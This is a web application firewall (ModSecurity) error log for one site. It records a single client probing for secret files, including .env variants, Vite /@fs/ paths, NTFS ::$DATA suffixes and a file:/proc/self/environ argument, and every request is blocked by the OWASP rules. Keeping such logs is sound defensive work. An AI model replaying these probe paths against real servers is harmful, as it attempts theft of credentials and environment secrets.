[Mon Oct 26 02:31:11.754938 2026] [security2:error] [pid 2984316:tid 2984316] [client 34.153.219.8:43652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at7zrymvL3FYV1A8W3js6AAAAA0"]
[Mon Oct 26 02:31:11.755520 2026] [security2:error] [pid 2984316:tid 2984316] [client 34.153.219.8:43652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at7zrymvL3FYV1A8W3js6AAAAA0"]
[Mon Oct 26 02:31:11.756474 2026] [security2:error] [pid 2984316:tid 2984316] [client 34.153.219.8:43652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zrymvL3FYV1A8W3js6AAAAA0"]
[Mon Oct 26 02:31:11.931598 2026] [security2:error] [pid 2984440:tid 2984440] [client 34.153.219.8:43726] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/app/.env"] [unique_id "at7zr8mcdBtWcg_eZyeaXQAAAAY"]
[Mon Oct 26 02:31:11.932123 2026] [security2:error] [pid 2984440:tid 2984440] [client 34.153.219.8:43726] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/app/.env"] [unique_id "at7zr8mcdBtWcg_eZyeaXQAAAAY"]
[Mon Oct 26 02:31:11.933012 2026] [security2:error] [pid 2984440:tid 2984440] [client 34.153.219.8:43726] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zr8mcdBtWcg_eZyeaXQAAAAY"]
[Mon Oct 26 02:31:12.074957 2026] [security2:error] [pid 2984452:tid 2984452] [client 34.153.219.8:43696] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.local"] [unique_id "at7zsOns9GI20tQzjLT43gAAAB0"]
[Mon Oct 26 02:31:12.075557 2026] [security2:error] [pid 2984452:tid 2984452] [client 34.153.219.8:43696] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.local"] [unique_id "at7zsOns9GI20tQzjLT43gAAAB0"]
[Mon Oct 26 02:31:12.076611 2026] [security2:error] [pid 2984452:tid 2984452] [client 34.153.219.8:43696] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zsOns9GI20tQzjLT43gAAAB0"]
[Mon Oct 26 02:31:12.717426 2026] [security2:error] [pid 2984448:tid 2984448] [client 34.153.219.8:43812] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7zsFXeakVq8o0GRFxwkwAAABY"]
[Mon Oct 26 02:31:12.717846 2026] [security2:error] [pid 2984448:tid 2984448] [client 34.153.219.8:43812] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7zsFXeakVq8o0GRFxwkwAAABY"]
[Mon Oct 26 02:31:12.718757 2026] [security2:error] [pid 2984448:tid 2984448] [client 34.153.219.8:43812] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zsFXeakVq8o0GRFxwkwAAABY"]
[Mon Oct 26 02:31:12.730530 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:43796] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.local"] [unique_id "at7zsKflAYQKhf1b3nSAEwAAAAA"]
[Mon Oct 26 02:31:12.731051 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:43796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.local"] [unique_id "at7zsKflAYQKhf1b3nSAEwAAAAA"]
[Mon Oct 26 02:31:12.731882 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:43796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zsKflAYQKhf1b3nSAEwAAAAA"]
[Mon Oct 26 02:31:12.769186 2026] [security2:error] [pid 2984447:tid 2984447] [client 34.153.219.8:43826] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7zsD4ZhFTh4Z0ZnDXv0AAAABQ"]
[Mon Oct 26 02:31:12.770052 2026] [security2:error] [pid 2984447:tid 2984447] [client 34.153.219.8:43826] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7zsD4ZhFTh4Z0ZnDXv0AAAABQ"]
[Mon Oct 26 02:31:12.770878 2026] [security2:error] [pid 2984447:tid 2984447] [client 34.153.219.8:43826] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zsD4ZhFTh4Z0ZnDXv0AAAABQ"]
[Mon Oct 26 02:31:12.839485 2026] [security2:error] [pid 2984452:tid 2984452] [client 34.153.219.8:43852] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.production"] [unique_id "at7zsOns9GI20tQzjLT43wAAAB0"]
[Mon Oct 26 02:31:12.839956 2026] [security2:error] [pid 2984452:tid 2984452] [client 34.153.219.8:43852] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.production"] [unique_id "at7zsOns9GI20tQzjLT43wAAAB0"]
[Mon Oct 26 02:31:12.840762 2026] [security2:error] [pid 2984452:tid 2984452] [client 34.153.219.8:43852] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zsOns9GI20tQzjLT43wAAAB0"]
[Mon Oct 26 02:31:12.887580 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.153.219.8:43866] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.development"] [unique_id "at7zsH9jXGqHxPWOUzy_kQAAAAM"]
[Mon Oct 26 02:31:12.888083 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.153.219.8:43866] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.development"] [unique_id "at7zsH9jXGqHxPWOUzy_kQAAAAM"]
[Mon Oct 26 02:31:12.888970 2026] [security2:error] [pid 2984440:tid 2984440] [client 34.153.219.8:43842] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.production"] [unique_id "at7zsMmcdBtWcg_eZyeaXgAAAAY"]
[Mon Oct 26 02:31:12.888995 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.153.219.8:43866] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zsH9jXGqHxPWOUzy_kQAAAAM"]
[Mon Oct 26 02:31:12.889473 2026] [security2:error] [pid 2984440:tid 2984440] [client 34.153.219.8:43842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.production"] [unique_id "at7zsMmcdBtWcg_eZyeaXgAAAAY"]
[Mon Oct 26 02:31:12.890188 2026] [security2:error] [pid 2984440:tid 2984440] [client 34.153.219.8:43842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zsMmcdBtWcg_eZyeaXgAAAAY"]
[Mon Oct 26 02:31:12.946641 2026] [security2:error] [pid 2963566:tid 2963566] [client 34.153.219.8:43754] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7zsM9if2Wl_DKO7Xa_1QAAADM"]
[Mon Oct 26 02:31:12.947108 2026] [security2:error] [pid 2963566:tid 2963566] [client 34.153.219.8:43754] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7zsM9if2Wl_DKO7Xa_1QAAADM"]
[Mon Oct 26 02:31:12.947958 2026] [security2:error] [pid 2963566:tid 2963566] [client 34.153.219.8:43754] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zsM9if2Wl_DKO7Xa_1QAAADM"]
[Mon Oct 26 02:31:13.080646 2026] [security2:error] [pid 2984451:tid 2984451] [client 34.153.219.8:43828] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.development"] [unique_id "at7zsSnCzUA9GV1ixDKaGQAAABw"]
[Mon Oct 26 02:31:13.081148 2026] [security2:error] [pid 2984451:tid 2984451] [client 34.153.219.8:43828] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.development"] [unique_id "at7zsSnCzUA9GV1ixDKaGQAAABw"]
[Mon Oct 26 02:31:13.082016 2026] [security2:error] [pid 2984451:tid 2984451] [client 34.153.219.8:43828] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zsSnCzUA9GV1ixDKaGQAAABw"]
[Mon Oct 26 02:31:13.156582 2026] [security2:error] [pid 2984449:tid 2984449] [client 34.153.219.8:43772] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env::$DATA"] [unique_id "at7zsRsFUPwtLAmxgObf2wAAABo"]
[Mon Oct 26 02:31:13.157025 2026] [security2:error] [pid 2984449:tid 2984449] [client 34.153.219.8:43772] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env::$DATA"] [unique_id "at7zsRsFUPwtLAmxgObf2wAAABo"]
[Mon Oct 26 02:31:13.158311 2026] [security2:error] [pid 2984449:tid 2984449] [client 34.153.219.8:43772] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zsRsFUPwtLAmxgObf2wAAABo"]
[Mon Oct 26 02:31:13.167580 2026] [security2:error] [pid 2984316:tid 2984316] [client 34.153.219.8:43782] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at7zsSmvL3FYV1A8W3js6QAAAA0"]
[Mon Oct 26 02:31:13.181018 2026] [security2:error] [pid 2984316:tid 2984316] [client 34.153.219.8:43782] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at7zsSmvL3FYV1A8W3js6QAAAA0"]
[Mon Oct 26 02:31:13.182477 2026] [security2:error] [pid 2984316:tid 2984316] [client 34.153.219.8:43782] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zsSmvL3FYV1A8W3js6QAAAA0"]
[Mon Oct 26 02:31:13.220401 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:43740] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.local::$DATA"] [unique_id "at7zsW71mB7d7Sol4w_LBAAAAA4"]
